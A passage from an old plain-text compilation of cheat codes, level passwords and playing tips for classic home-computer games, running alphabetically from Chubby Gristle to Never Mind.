+88 Spirals WZYV, 89 Blockbuster VCZO, 90 Playhouse OLLM, 91 Jumping Swarm JPQG, +92 Vortex DTMI, 93 Roadsign REKF, 94 Now You See It EWCS, 95 Four Square BIFQ, +96 Paranoia WVHY, 97 Metastable To Chaos, 98 Shrinking TKWD, 99 Catacombs XUVV, +100 Colony QJXR, 101 Apartment RPIR, 102 Icehouse VDDU, 103 Memory PTAC, +104 Jailer KWNL, 105 Short Circuit YNEG, 106 Kablam NXYB, +107 Balls O Fire ECRE, 108 Block Out LIOC, 109 Torture Chamber KZQR, +110 Chiller XBAO, 111 Time Lapse KRQJ, 112 Fortune Favours The Code NJLA, +113 Open Question PTAS, 114 Deception JWNL, 115 Oversea Delivery EGRW, +116 Blockbuster III HXMF, 117 The Marsh FPZT, 118 Miss Direction OSLW, +119 Slide Step PHTY, 120 Alphabet Soup FLXP, 121 Perfect Match BPYS, +122 Totally Fair SJUM, 123 The Prisoner YKZE, 124 Firetrap TASX, +125 Mixed Nuts MYRT, 126 Block'N'Roll QRLD, 127 Skelzie JMWZ, +128 All Full FTLA, 129 Lobster Trap HEAN, 130 Ice Cube XHIZ, +131 Totally Unfair FIRD, 132 Mix Up ZYFA, 133 Blobdance TIGG, 134 Pain XPPH, +135 Trust Me LYWO, 136 Double Maze LUZL, 137 Goldkey HPPX, +138 Partially Post LUJT, 139 Yorkhouse VLHH, 140 Ice Death SJUK, +141 Underground MCJE, 142 Pentagram UCRY, 143 Stripes? OKOR, +144 Fireflies GVXQ. + +Chubby Gristle (Grandslam): on the title screen, type BUUURRP (Return). After +the sampled belch, you'll notice that you have infinite lives... + +-*- Chuck Rock (Core): type these in on the title screen: +ESTRANO and press Left Shift to access the Fly mode. +FAST AIN'T THE WORD for infinite lives. +ITS FAIRY BOWBELZ also gives infinite lives. +LIFE IS MY DREAM for infinite lives too. +UNCLE SAMS is yet another infinite lives cheat. +MORTIMER and press F1 through F5 to access any level. +TURN FRAME and press 1 through 5 to access different levels. + +-*- C.J.'s Elephant Antics (Codemasters): on the title screen, type in +ITCHY ARSEHOLES to get infinite lives. + +Continental Circus (Virgin): for a fast grid start, do the following: +1) when the first red light comes on, push and hold the stick up, +2) when the second red light comes on, let go of the stick, +3) when the green light comes on, push the stick up... + +-*- Crack Down (US Gold): pause the game and type SMURF. Pressing F1 will give +player 1 infinite lives, and F2 will give player 2 infinite lives. +Also, press P to pause, enter REVENGE OF THE MENTAL MOONMEN, press 1 to get +999 lives, then press P to resume playing. Or enter it without spaces. + +Crazy Cars II (Titus): for masochists only!! Increase your speed to 204MPH +(or is it 240MPH?), press F10 to pause the game, then press fire. +The game slows down to a crawl, but you can still steer the car. So, by +continually pressing fire and moving left and right, you can safely pass road +obstructions! + +Cybernoid (Hewson): type RAISTLIN on the title screen, and you get infinite +lives. + +Cybernoid II (Hewson): type NECRONOMICON on the title screen and you get +infinite lives. + +Daley Thompson's Olympic Challenge (Ocean): type HINGSEN.J when the title +screen appears. You should now be able to choose events by using the keypad +or the Function keys. + +Damocles (Novagen): here's the quickie solution: +Do all the preliminary stuff (land, get key, drive to office, etc...), get the +spaceship. Fly to 12:14 and get the computer. Fly to 15:03 and buy the +pressure suit. Fly to Snow Island, land at 03:00 and get the cupboard (there's +a Nova trigger in it). Fly to Bare Island, land at 06:02, and go in the +transporter on the ground floor. Keep going in the transporter until you wind +up at 07:01, UR City on Gaea. Find the cupboard (Nova trigger inside) and go +back the way you came. +Fly to Metis and land at 05:06, then get the sink (or washbasin). To get it, +walk to the table that's facing you when you come in. The wall behind the +table will move (secret passageway!). Go in the secret room and get the sink +(another Nova trigger). +Fly to Gaea, go to Chaldea Metropolis, and land at 06:06. Get the gold in the +basement. Fly to 05:08 and sell the gold. Fly to 05:06 and get the stereo +system (Nova trigger inside). Fly to 09:02 on UR and get the Nova Bomb, in +the basement, behind the elevator. +Fly to Damocles and land on it (I didn't know you could do that!!). Leave the +Nova bomb on the comet and retreat to a safe distance. Switch on the Nova +triggers one by one. Kaboom!© You win!! +Paul Woakes (the designer) says that there are many different ways to solve +his game. The method described above is the fastest. + +Darkside (Spotlight): hold down 2, 8 and Fire for digitized pics of the +programmers. + +Day Of The Viper (Accolade): this is not a hint, this is a warning. +Every time you leave a floor or a building (via a turbolift or a shuttle), +the program saves 2 files containing level data, one called LEVELXX.DAT, and +one called LEVELXX.BAK. The XX stands for the level number: 01 for floor 1 in +building 1, 06 for floor 1 in building 2, etc... (5 floors and 5 buildings for +a total of 25 floors). So, for every level you leave, 2 files gets saved. +If you have dumped the contents of disk 1 and 2 on a standard double-sided +disk, you will run out of room and your game will crash nastily, destroying +all your saves files. +The possible solutions: +1) Format an extended double-sided disk (80 tracks with 10 sectors is fine). +2) From the desktop, erase the save files for the levels you won't be returning +to (too time-consuming and silly), or... +3) Stick it on your hard drive and sleep well at night. +(Thanks go to The Insane 0ne from the Jungle BBS for spotting this bug.) + +Death Trap (Anco): get a high score and enter GIRLS. When next you play, +you can replenish your potion pots with F6, F7, and F8. + +Defender Of The Crown (Cinemaware): hold down K when booting the second +disk to get infinite knights. + +-*- Defender II (Arc): type RAVEN while playing, then press N to teleport +you to the next level and I toggles invincibility on and off. +Type GOATY to become invincible. Here's some level codes: +LEMAC, ZIPPO, LAZER, DAFAD, MAMOG, FUNKY, and DONKY. + +(X) Dogs Of War (Elite): type TIMBO while playing then press F5. This switches +off the sprite detection routine, but when you reach the end of a level, you +won't be able to touch the object of your quest!! You're stuck! + +-*- Dominator (System 3): type SHAFT on the high score list for infinite lives. +Or, type ZAE of NeXT to access a hidden game. + +Double Dragon (Melbourne House/Arcadia): when the title screen pops up, +type in the followings: +LEVEL ONE PLEASE (start on level one), LEVEL TWO PLEASE (start on level two), +and so on until level four, THE LAST LEVEL PLEASE drops you on the last level, +GIVE ME MORE HEALTH PLEASE (lots of energy!), I DO NOT WANT TO DIE +(invincibility!). Just remember to say please!!! +Also, type Neil Harding in the high-score list and something funny happens... +Yet another one: start a 2-player game and hold down both fire buttons, then +hit Esc like crazy until the credits go bonkers and you get infinite lives. + +Double Dragon II (Virgin Games): start a 2-player game and hold down both +fire buttons, then hit Esc like crazy until the credits go bonkers and you get +infinite lives. + +Dragon Breed (Activision): hold down the left mouse button and press HELP +and UNDO while the end-of-level-boss is loading. The screen should flash +purple and you're invincible! + +Dragon Ninja (Ocean) also Bad Dudes (Data East): during the game, type +TERRIFIC. Pressing F3 gives you infinite lives and L advances you to the next +level. + +Dragonscape (Software Horizons): load up and play. During level 1, press TAB +and 2. You will be transported to Technocity. Do it again, and you will be +sent to Iceland. + +Dragon's Lair (Readysoft): on the title screen, press 0 to begin play, +then hit RETURN and enter GODIRKGO. The cheat mode should now be on. + +Dragon's Lair II: Time Warp (Readysoft): tired of playing the game? +No problem!! Start the game and as soon as Dirk pops up, type MORDROC. +The game will now play itself all the way through... +Or, if you insist on doing it the hard way, here's how you complete the game: +Scene 1 left, 2 down/right, 3 fire/right, 4 down/left, 5 left/up, 6 up, +7 down/down, 8 fire/up, 9 fire, 10 up/right, 11 left/fire left, 12 down/fire, +13 fire/left/left/fire, 14 fire/right/fire/down, 15 up/fire/fire, 16 up/fire, +17 fire/up, 18 right, 19 down/fire/down/fire, 20 down, 21 down/right/up, +22 right/up, 23 down/up, 24 down/left, 25 up/up, 26 left/down/up/right, +27 fire/fire/fire, 28 right/up/up, 29 down/right, 30 fire, 31 fire, +32 up/fire, 33 up/left/down/right, 34 up/right/fire/left, 35 up/fire, 36 down, +37 down/fire, 38 down/left/up, 39 down/fire/fire, 40 fire/fire. + +Dragon Spirit (Tengen): press F9 to pause the game, type DRAGONHEAD then +press F10. You can access any level by pressing the corresponding number key +on the main keyboard. + +Drakkhen (Draconian/Exxos): during the character setup screen, type +31415927 (press Return), SUPERVISOR (press Return). This gives you extra +points and attributes. Here's a bunch of undocumented keys: +F8 to toggle between 50 and 60Hz; F9 shows the game, room number and something +in French; F10 to pause. + +Driller (Incentive) also Space Station Oblivion (Epyx): when you start the +game, you're facing a small shed. Shoot it more than 20 times and you should be +transformed into a jet. + +-*- Driving Force (Digital Magic): on the main menu, click on the dots of both +"i"s of the title "Driving Force" at the top of the screen. Your vehicle +will not leave the racetrack anymore! + +Dynamite Dux (Activision): quack!! Anyway, while on the title screen, type +CHEAT and then press F1 through F6 to skip to the appropriate levels. +Entering NUDE will take you straight to the boxing subgame. + +Dynasty Wars (US Gold): when the title screen appears, type CHEAT MODE. +When playing a game press F2 to skip a level. + +Dyter 07 (ReLine): while the game is loading, type GIBB. While playing, +press W to receive extra weapons, and S to top up your shields. + +-*- Eliminator (Hewson): type in these codes at the help screen for higher +level access: amoeba, blooop, cheeki, doinok, enigma, slipme, geegee, handel, +bicicle, jammin, kickong, lapdog, mikado. +Also, here's a (very hard) way to get infinite lives: +Type in Handel to ge to level 9 (see above). On your first life, move left into +the water. On your 2nd life, crash into the oncoming green alien. On your 3rd li +fe, shoot the alien and fall into the water to your right just before the +ramp. On your last life, shoot the alien and move to the right of the middle +track; as the ramp approaches, move toward the water. Just before you sink, +you should hit the ramp and fly. You should now have infinite lives... +(And you really deserve them!!!) + +(X) E-Motion (US Gold): on the title screen, type Moonunit. This happens to +be the name of Frank Zappa's daughter. While playing, pressing F1 will advance +you by one level, F2 will advance you by ten levels, F3 will send you back one +level, and F4 will send you back ten levels. + +Empire Strikes Back (Domark): on the credits screen, hold down TAB and type +VEKTORGRAFIX. Now, when you press L, you get a pic of Luke, C of C3PO, and D of +Darth Vader. You also get infinite shields! +Or, hold down Help and type XIFARGROTCEV. Try L, C, and D. + +-*- Enchanted Lands (Thalion): on the title screen, type TCB LIVES FOREVER. +The screen should flash indicating that the cheat mode is active. +If it doesn't, type TCB RULES FOREVER instead. +Press keys 1 through 5 for the starting levels, F2 to go to the end-of-level +guardian, F3 for player stats (use the up and down arrow to choose), F4 to +kill the end-of-level guardian, and F10 to get a pink border (what?). + +Enduro Racer (Electric Dreams): while playing, type CHEAT. When you press T, +you get an extra 10 seconds of racing time. When you press S, you go faster. +When you press F, you automatically advance to the next checkpoint. + +-*- ESWAT (US Gold): what a sucky game!! +Pause the game and enter JUSTIFIED ANCIENTS OF MU MU (with or without +spaces). The border should flash and you should get 99 lives. + +Exolon (Hewson): type ad astra (in lowercase with space) on the high-score +table, and you get infinite lives. + +-*- Exterminator (Audiogenic): when you're in the kitchen of a house, shoot +the top half of the fridge when it opens (it only opens for a split-second, +so you gotta be quick!). You get 275,000 points and you're warped to the next +house! + +Eye Of Horus (Fanfare/Logotron): while the credits screen is showing, type +SPAM. You now have infinite lives and you can use all the elevators, even if +you don't have the appropriate keys. + +F-29 Retaliator (Ocean): enter THE DIDYMEN (or THE DIDY MEN) into the duty +roster instead of your name. This will have no effect on the game itself. +However, when you have completed a mission and you want to land, press Enter. +This will make your plane land by itself! Talk about automatic pilot... +You're also supposed to get infinite weapons... + +Falcon (Spectrum Holobyte): when flying a high-ranking mission, pressing Ctrl-X +will give you 8 AIM9Ls and 500 rounds of ammo for your Vulcan. +Or, pres Ctrl, Shift and X simultaneously. + +-*- Fast Lane (Artronics): pause the game by pressing F1 during qualification. +Now, hit the Spacebar. The clock should have stopped and you should be able +to qualify in 1st place. + +(X) Fernandez Must Die (Imageworks): pause the game, type SPINYNORMAN, and you +get infinite lives! + +(X) Fighter-Bomber (Activision): type BUCKAROO instead of your name, and +you will be able to try all the missions! Also, you'll be able to fly on the +ground, and pressing Alt-D will take you to your next waypoint! + +Flip-It And Magnose (Imageworks): pressing F1 or F2, depending on whether +you are Flip-It or Magnose, will give you infinite water! + +(X) Flood (Electronic Arts): tired of starting on Level 1? Well, enter these +passwords to access the appropriate levels. Pressing Backspace will erase the +current password and allow you to enter a new one. +Level 1 FROG, 2 YEAR, 3 QUIF, 4 LONG, 5 WORD, 6 FRED, 7 WINE, 8 GRIP, 9 TRAP, +10 THUD, 11 FRAK, 12 VINE, 13 JUMP, 14 NILL, 15 FOUR, 16 GRIT, 17 ZING, +18 JING, 19 LIDO, 20 POOL, 21 HATE, 22 REED, 23 LIME, 24 QUID, 25 WING, +26 FLEE, 27 GIGA, 28 HEAD, 29 LOOP, 30 SING, 31 JOUX, 32 PINK, 33 GOGO, +34 LETS, 35 QUAD, 36 BRIL, 37 EGGS, 38 HENS, 39 NAIL, 40 SOAP, 41 FOAM, +42 MEEK. + +-*- Flying Shark (Firebird) also Sky Shark (Taito): enter HSC on the high score +list for infinite lives, KDJ for invulnerability, RLH for acid smileys, +JGL for full firepower, and RAB for immunity. +You MUST hold down 5 on the keypad while typing these letters in! +Here's how you can skip levels: back up your second disk, and look at it with +the desktop. You'll see some files called "LEVEL(number).MAP". By simply +renaming LEVEL5.MAP (for example) into LEVEL1.MAP, you can start playing on +level 5, and so on... + +Forgotten Worlds (US Gold): hold down Shift and type in ARC. Let go of Shift +and start the game by pressing Help. Press S to go to the shop, press N to +skip to the next level. + +Fusion (Electronic Arts): load it and start playing. Press ESC. Now, start a +new game while pressing E. You should now be in the cheat mode. +If that doesn't work, enter SWAMP THING into the high-score table, and restart +a game while pressing E. Now, you can change levels by pressing + and -. +Make sure you have backed up your disk before attempting the following!! +Move the joystick diagonal up/left, press fire, then press E. You now enter +the game editor. Pressing ESC returns you to the level selector mode +(pressing SPACE from the level selection mode returns you to the game). +That was the unofficial way to enter the game editor; here's the official way: +you need two drives or a hard disk. Boot your computer, then put the Fusion +disk in drive A and a blank disk in drive B (or C). Diskcopy A to B. +Go to the B directory and rename QAZ.MON into FUSION.TOS. Double-click on +FUSION.TOS to run it (you need to have Fusion in drive A to run it, otherwise +FUSION.TOS won't run. Any modification you make to the levels will be saved +to drive B). Type SWAMP THING into the high-score list, then press E. ++ loads next level, - loads previous level, joystick up/left while pressing +fire and E dumps you to the level editor. Joystick up/left while pressing +fire and S saves the level you're currently editing. +Level editor keys: use the function and number keys to select the appropriate +tile from the menu at the top; use the cursor keys to adjust the position of +the tile; use Tab to put it down; use Undo if you change your mind; press A +and use the cursor keys to adjust the tile's height, press Enter when done; +press P to cycle through the color palette with the keypad 1/4, 2/5 and 3/6; ++ and - on the keypad are used for changing the color of the parallax level; +press Enter when you're done adjusting the colors; pressing X lets you edit +the exit data, + and - to select the exit, press S to set the position, +use + and - to select which level the exit leads to, then the cursor keys to +set the position of the entrance to that level; press W to modify the weapon +data, + and - to flick through the weaponry, S to select the one you want, +use + and - again to set the part number, 1 thru 9 are bomb parts, 10 are the +fat bullets, 11 are the triple shots, 12 are the shields, and 13 is extra fuel; +be careful not to exceed those weapon numbers; you can use the keypad to edit +the level, 1-2-3-4-6-7-8-9 are joystick equivalents, 0 to paste, "." to cut, ++ and - to choose the tile under the pointer; use the cursor keys to display +the six switches at the top of the screen; to test a switch, press 0 thru 5 +and the screen will zoom in on that switch and test it; press Undo to change +it, then another number if you want, press S to set a switch. +You can actually create a game with 40 levels!! To create a new level, go to +the Level Select Mode and hit + beyond the last level. When creating +additional levels, you must make sure that the last line of blocks at the top +and bottom of the screen are raised blocks, otherwise the game will crash +when you pass the boundary. + +-*- Galaxy Force (Activision): type DONKEY on the title screen then press +F3 during the game to get to the end of the current level. + +Game Over II (Dynamic): the access code for the second stage is 11423. + +(X) Gauntlet II (U.S. Gold): You need 2 keys and 2 locked treasure chests. As +you open the first chest, hold down the Help key, collect the treasure. Open +the second chest while holding down Insert. An Ankh will appear and you must +collect it. You'll hear a gong. You should now have 50,000 health points and +32,000 reflective super-shots. The shots will vanish once you leave the level, +and if you pick up an amulet, the counter will be reset to 10 shots. +Here's a handy general tip: if you run out of keys and there's still some doors +to open, don't hang around waiting for the doors to open. You're wasting +valuable hit points! Pause the game and go do something else for 2 minutes. +Come back and resume the game, and all the doors will open. + +-*- Gazza 2 (Empire): from the center circle, hold down the fire button to +launch the ball. This should score a goal. Now, press ESC to win the game. + +Gemini Wing (Virgin): type in these codewords: +Level 3 - classics, level 4 - whizzkid, level 5 - gunshots, +level 6 - doodguyz, level 7 - d.gibson. + +Ghostbusters II (Activision): when the Activision logo appears, hold down +ALTERNATE, CONTROL, S and U, then press fire. This will keep your cable from +breaking on level 1 and give you infinite courage. + +Ghosts'N'Goblins (Elite): while the game displays the credits, type +DELBOY. The screen will display CHEAT MODE ACTIVATED and Arthur will be +invincible. Pressing F1 through F5 lets you go directly to those levels. +But, don't fall in any bottomless pits, or you'll have to reset the computer. + +Ghouls'N'Ghosts (US Gold): press the fire button to start the game, then +quickly type STEPHEN BROADHURST (or KAREN BROADHURST). The words +"cheat mode on" should flash on the screen. Arthur is now invincible! + +-*- Golden Axe (Virgin Games): don't just "press any key" to start the game, +press T for infinite lives!! +If you play in one player mode, plug a second stick in the mouse port. +When you're about to die, press the fire button on the other stick to continue +with 3 more lives! Cool!! + +Goldrunner (Microdeal): type "Easymode" on the high-score list. Now, when you +press F9, you skip to the next level; it also deactivates the bomb collision +detection. If you get bored, hit F8, and the cheat mode will be disabled. +Also, press I to go to the bonus round, press U to go to the next level. +Or, type ATARI to go straight ot the first bonus screen. + +Gravity (Imageworks): when asked for a password, type WARPXX, XX being the +digits of the desired level. + +Great Giana Sisters (Rainbow Arts): hold down the A, R, M, I and N keys +to go to the next level. + +Gremlins II (Elite): enter SINATRA on the high-score screen and you've got +infinite lives! + +(X) Gridrunner (Llamasoft): pause the game (Right-Shift) and type +Pink-Floyd-are-gods, with the minus signs, and you now have infinite lives... + +Hades Nebula (Nexus): enter "MONITOR." when you're on the high-score list. +You should now have infinitive lives. + +Hammerfist (Activision): type TAEHC OT TNAW I ("I want to cheat" backwards) +on the high score list, and you'll be able to move forward one screen by +pressing F7. + +Hardball (Accolade): various hints: +Allstars are better than champs, +Only steal if you actually hit the ball, +Try to get a lot of runs early, as the computer team improves towards the end, +Bunting rarely works, +Halfway through the match, swap Laws for Wells and Wratten for Harris, +The best pitchers are Oliver, Perez, Leary, Cook. The others will only be +successful for a short while, +Never pitch fastballs to the center as they will usually result in home runs, +Change pitchers after a few innings, because as they get tired, their +accuracy and speed get worse. + +Hard Drivin' (Domark/Tengen): here's something silly to try: +start a game, turn around and drive in the opposite direction! Go to one of +the checkpoints, cross it, then turn around again and go back to the finish +line. And voila! A new track record... +In a more serious vein: drive up the first hill on the speed track. Pass the +fork in the road. When you're in the air, shift to neutral. You should be able +to race around the track without skidding... + +Hawkeye (Thalamus): when you are about to die, press Delete to advance a +level. During the game, pause then press Help, then unpause. You should now +have infinite lives. + +Helter Skelter (Audiogenic S.L.): here are the various access codes for the +upper levels: SPIN (level 11), FLIP (21), BALL (31), GOAL (41), LEFT (51), +TWIN (61), PLAY (71). +Here's a way to get lots of extra lives: play a two-player game, let one of the +players gain an extra life by picking up the tokens. That player will now last +longer, so when the other player dies, the one with the extra life will play a +level on his own. Complete this level, and on the next, both players will +receive 99 extra lives. + +Heroes Of The Lance (SSI), just some general tips: +arrange your party so that the first line consists of two strong warriors, +Raistlin and Goldmoon. This allows you to use Raistlin's magic and the healing +staff of Goldmoon without too much hassle. Save Tanis and Riverwind for the +later levels, where the bows come in handy. +When fighting Gully Dwarves, use Tasslehoff who is the same height as them. +His sling stones will never miss. +Avoid fighting Hatchlings, they're not worth it. Just turn and run when you +meet one; when you reach an intersection move into a new path and wait a +little. When you return, the Hatchling will have gone. +Killing Bozaks: two methods: 1) get Raistlin to use a web, sleep or charm spell +to stun it, then send a warrior to clobber it to death, or 2) select Flint, +who is a dwarf; 9 out of 10 times, the Bozak's shots will go over his head; +get close to enter melee combat, and use low thrusts to kill it. +Spectral Minions: they're easy to kill, so use a warrior. +Wraiths: a well-timed throw of an axe kills them every time. If you miss, +use a sword and chest-thrust movements. Don't let it get too close to you! +Spiders: use low thrusts to keep them at bay. If they get through your guard, +retreat until you can turn and fight again. +The blue and green potions restore health, red slows down monsters, and yellow +give your characters extra confidence. + +-*- (X) Horror Zombies From The Crypt (Millenium): level access codes: +Level 2 WOLFMAN, 3 HAMMER, 4 LUGOSI, 5 NOSFERATU, and 6 GARLIC. +Or, type BOGEYEATER instead of a level access code, and you get infinite lives! + +(X) IK+ (System 3): pause the game after your character has been knocked down, +and restart the game. Your player is now invincible. If you do the same thing +to one of the computer players, it will also be invincible! +Also, typing in the following words during play activates the appropriate +little effect: FISH, BIRD, PERY (periscope), FREZ (freezes the action), +PAC (He has returned!), JUMP, TOTO, STEW, SHAH. + +Ikari Warriors (Elite): play game, get high score, type FREERIDE and press +Return. When the high score table is displayed next, it should say 1988 FEB +where you entered FREERIDE, indicating that the cheat is active. Play the +game and you should have infinite lives... + +(X) The Immortal (Electronic Arts): here are all the level access codes: +Level 2 - 757fc10006f70, 3 - 6e1ec21000e10, 4 - 465fa31001eb0, +5 - d4bfd41000eb0, 6 - bcfef51010a41, 7 - 6b10f61010ac1, 8 - e590d710178c1. + +Impossamole (Gremlin): play the game and get a high score, then, enter any +of the following: +HEINZ... ©to get 3 full power bars, +ANNFRANK ©to top up your energy, +LUMBAJAK ©to get bouble-length energy bars, +OOCHOUCH ©to walk on dangerous surfaces, +COMMANDO ©no time limit on weapons, +JUGGLERS ©worms give double health. + +Indiana Jones And The Last Crusade, The Action Game (Lucasfilm/US Gold): +type JIEHOVA (or JEHOVA) when the title screen appears. The screen will flash, +indicating that the cheat mode is active. Press L to skip a level, press 1 or 2 +to advance to key points within each level. +Or, type SILLYNAM on the high-score list for infinite credits. + +-*- (X) Infestation (Psygnosis): bring up the HUD scratch pad. +Type I AM NOT A CHEAT (making the victory symbol with your hands is optional!), +press Undo, then Help, then Escape (which makes you quit the game). +When you restart, you have the elevator card, screwdriver, quarters key, +datalink/compass, and IR scanner. Pressing Escape will show you the final +screen. WARNING: games saved while the cheat mode is active are prone to +malfunction, so watch out! + +-*- International Ice Hockey (Impulze): when your team scores a goal, press +F1 to pause. Wait 'til the music is over, then unpause the game. +You get more goals. Or somethin'... + +(X) Interphase (Imageworks): type Fenny to activate the cheat mode. You are +dumped into a view mode similar to Starglider II's, but you can't paint... + +Iron Trackers (Microids): here's a few of tips for this pretty bad game: +Select the booster for your quadracer. This will improve your overall +performance. While racing, keep an eye out for big brown pillars on the right +side of the screen. Drive through them to get 2,000 bonus points. + +Ivanhoe (Ocean): pause the game and type JC IS THE BEST (Return). +While playing, press N to advance a level, press Delete to kill all the +enemies on the screen, push ";" to give yourself more lives. During the bonus +level, press Control to kill the monster. + +James Pond (Millenium): type MR2 and you get yourself a helmet. +Now hit the following keys to get the different levels: +Z level 1, X 2, C 3, V 4, B 5, N 6, M 7, "," 8, "." 9, "/" 10. +In other words, the bottom 10 keys on the main keyboard. Clever, non? +Pressing D will move you to the next level or kill some of the on-screen +enemies, depending on when and where you press it. +Pressing P will make you dance! Pressing S will make you shake! +Pressing the following keys will give you the items indicated: +1 top hat, 2 helmet, 3 eyepatch, 4 shades, 5 dyn'o'mite, 6 key, 7 comb, 8 gun, +9 ammo, 0 sponge, - orchid, = gold bar, BACKSPACE urn. + +-*- Judge Dredd (Virgin Games): start the game and log on as DREDD. +Then type BRUCKEN PLAYING HERO QUEST, press Return, then exit. Pressing Help +now skips levels. + +-*- Jumping Jack'Son (Infogrames): level access passwords. +Game A: level 5 KAYLEIGH, 9 ALCHEMY, 13 OCTOBERON. +Game B: Level 5 TANGRAM, 9 INCUBUS, 13 SIRIUS. + +-*- Karate Kid II (Microdeal): get a high score and enter MYAGI on the list. +While playing, pressing P advances you one level. + +Kid Gloves (Millenium): pause the game and type RHIANNON. If you hit F9, +you will become invincible. If you hit the other function keys, strange things +will happen. I wish I could tell you more, but since I hate this game and I got +rid of it a while back... + +-*- The Killing Cloud (Imageworks): when asked for a mission code, type +1 KILLING to get 28 nets and 29 PUPs. +Here are some mission codes: +Mission 2 AOOTOOEV, 3 255FA1E1, 4 QII8A1EK, 5 3KU6AZE3 (or 3336RWE3), +6 XXX6G6EJ, 7 4333GWER, 8 W3Q1GWC, 9 63QTEDEX, 10 CA2FG7E2. +Here are some different mission codes: +Mission 2 AQQTQQEV, 3 2IPFA1EY, 4 QJK8AZEN, 5 3GH6AZCR, 6 XGH6AZCM, +7 AFT3AZXN, 8 WEG1AZAL, 9 6EGTGDEX, 10 CWBFG7E3. + +Klax (Domark/Tengen): begin playing and hold down Shift (either one) and +the Spacebar at the same time. Now press keys 1 through 4 for assorted helpful +things like infinite credits or warping straight to level 100. + +The Kristal (Addictive/Cinemaware): find the beggar and donate some Skringles +twice; accept the pommel when he offers it in thanks. +Find Gloop, and ask him what to do, and he'll explain everything. Accept the +invitation when he offers it. +Go to the palace and say to the Guards:" I have an invitation." +Walk past Nedrod and meet with the Kring. Listen to him and accept the +Skringles he offers. Then meet with Nedrod. When he stops talking and says +"no more questions", keep interrogating him. The 4th time you ask, he will +give you valuable information. +Meet with the Princess in the Palace Garden and when she asks about your +mission, reply "it's a secret"; then type TAH for a message from the +programmers. Accept the Ring of Belz. +Go to the arch to the right of the green door in the town and take scroll. +Go to Sereena's stall in the market square and buy Froodle and Frandanas. +Eat them to boost your energy. +Find Boris The Butler and give to charity. +Go through the green door, through the center arch in the spaceport and board +your ship. +Choose the top icon for Zapminola and take off... + +Last Duel (CapCom): start the game, pause with F9, then hold down Help, +left Shift, and 1. Unpause and the Function keys should take you to all the +levels. F8 gives you 5 lives. + +Leatherneck (Microdeal): type in CUTHBERTNECK and then press F3. This will +give your men protective shields. The only thing that can kill you is your +teammate's bullets. F3 turns it off. + +LED Storm (CapCom): enter DAVID BROADHURST WANTS TO CHEAT for infinite +lives. + +-*- Lemmings (Psygnosis): 2 player game access codes: +Level 2 IJHLDKJCMJ, 3 NHLDKJADMW, 4 HLDKJINEMP, 5 LDKJAJCFMY, 6 DKJIJLLGMR, +7 KJANLCDHMO, 8 JINLLDKIMX, 9 JAJHMDKJMJ, 10 IJHMDKJKMS, 11 NHMDKJALMP, +12 HMDKJINMMY, 13 MDKJAJLNMR, 14 DKJIJLMOMK, 15 KJANLMDMPX, 16 JINLMDKQMQ, +17 JAJHLFKBNT, 18 IJHLFKJCNM, 19 NHLFKJADNJ, 20 HLFKJINENS. + +Leonardo (Starbyte): here's a few passwords: IVANHOE, MATTERHORN, EMMENTALER. + +(X) The Light Corridor (Infogrames): here are all 50 level access codes: +Level 2 5400, 3 0101, 4 3901, 5 2602, 6 9902, 7 4303, 8 9903, 9 6904, 10 3305, +11 9305, 12 3406, 13 0407, 14 6407, 15 2008, 16 7408, 17 4709, 18, 3810, +19 0511, 20 6811, 21 3212, 22 0213, 23 8213, 24 5014, 25 1015, 26 8215, +27 5116, 28 0117, 29 7017, 30 5518, 31 2819, 32 9919, 33 7320, 34 2521, +35 0622, 36 3722, 37 1223, 38 4523, 39 4124, 40 1825, 41 1926, 42 9726, +43 5927, 44 0528, 45 7328, 46 3929, 47 3030, 48 0531, 49 8431, and 50 is 9932. + +-*- Line Of Fire (US Gold): when the game has loaded, press the Help key and +a message will appear. Type WHAT A BUMMER, and you got infinite credits! +Also, pressing keys 1 through 7 let you start on the appropriate level. + +-*- Logical (Rainbow Arts): type ELO WANTS followed by the level number on the +loading screen and you'll get there. + +(X) Lost Patrol (Ocean): here are some playing tips: +1) Make sure Weaver doesn't take the lead. +2) After moving three times, rest for 30 minutes to keep morale constant. +3) When you reach the village, choose QUESTION and HARD. Ask the old man where +the food is. Then SEARCH AREA to find a tunnel. Send Gomez in it and 90% of the +time, he'll come back with some goodies. (Always SEARCH AREA after an encounter +with VCs). +4) At the village on stilts, you have to shoot a villager then QUESTION HARD +and ask for food. Then shoot another villager, question again, ask for food, +then ammo, then get out. +When you reach Du Hoc, which is your final goal, some people have suggested +that you should turn off your computer rather than suffer an end sequence +that has been described as "hypocritical, blood-boiling, and patronizing". + +-*- Lotus Esprit Turbo Challenge (Gremlin): enter player 1's name as +ANGEL DARK, and player 2's name as HARVEST HOME for some help with the race. +Enter P1's name as MONSTER, and P2's name as SEVENTEEN, and you can play +a vertically scrolling shoot'em'up instead!! + +Mickey Mouse (Gremlin): After Mickey takes his bow, type 61315688 (or 6135688 +if the other one doesn't work) and a thin white line will flicker in the +border. Hitting F2 opens the door to the sub-game, F3 takes you straight to +conflict with a witch, F4 refills your water pistol, Enter (keypad) quits the +sub-game, "." on the keypad completes the sub-game successfully. + +Midnight Resistance (Ocean): play the game and press F10 to pause it. Type +OPEN THE DOOR HAL. Unpause the game, and you now have infinite energy! +Or, pause the game, type SAMANTHA LYON, and you now have infinite everything! + +-*- Midwinter (Rainbird): while skiing, press S to go to sniper mode. +Zoom your lens to maximum and you should now be invincible. + +-*- Narc (Ocean): you want infinite lives? Well then, do this: +walk up to one of the trashcans and crouch down. Fire at it for about 11 +seconds, then walk into it. Voila! Repeat if unsuccesful... + +-*- Narco Police (Dinamix): typing in ABRIR will open doors. +NOENEMIG will wipe out all bad guys. COMENZAR will bring them all back. +BLAST will activate a smart bomb. MUNICON will give loads of ammo. NOAMET Z1 +(or any other Zone number) will turn off all machine guns in that zone, +NOCAM Z1 (or any other Zone number) will turn off all cameras in that zone. + +Navy Moves (Dinamic): the access level to part II is 948411. + +-*- Navy SEALs (Ocean): get a high score and enter WOZZIE as your name. +Start a new game. Pressing Return will advance you one level, and pressing W +will cycle through the available weapons. + +(X) Nebulus (Hewson) also Tower Toppler (Epyx): when on the title screen (with +the music playing), type Helloiamjmp. Now, you can access any tower by simply +pressing the appropriate function key. You also get infinite lives. + +-*- Netherworld (Hewson): get a high score and enter UxZ158 for infinite lives. + +Never Mind (Psygnosis): access codes for the first 26 levels: +0 MMMRHM, 1 AMMRHA, 2 HMMRHH, 3 VMMRHV, 4 PMMRHP, 5 GMMRHG, 6 IMMRHI, +7 RMMRHR, 8 MAMRHW, 9 AAMRHN, 10 HAMRHZ, 11 VAMRHT, 12 HHMWHH, 13 